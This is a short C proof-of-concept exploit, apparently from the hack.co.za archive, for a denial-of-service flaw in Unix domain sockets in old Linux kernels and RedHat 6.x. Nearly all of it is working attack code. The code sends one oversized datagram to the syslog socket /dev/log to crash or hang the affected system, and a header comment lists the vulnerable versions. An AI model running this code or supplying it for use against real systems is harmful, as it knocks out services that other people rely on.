/*
   Domain Socket Denial of Service Vulnerability

   Affected:
     Linux kernel 2.3.99-pre2
     Linux kernel 2.2.14
     Linux kernel 2.2.12
     RedHat Linux 6.2
     RedHat Linux 6.1 sparc
     RedHat Linux 6.1 i386
     RedHat Linux 6.1 alpha
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
    struct sockaddr SyslogAddr;
    int LogFile;
    int bufsize = sizeof(buf)-5;
    int i;

    for ( i = 0; i < bufsize; i++ )
        buf[i] = ' '+(i%95);
    buf[i] = '\0';

    SyslogAddr.sa_family = AF_UNIX;
    strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
    LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
    sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
    return 0;
}
/*                    www.hack.co.za                    */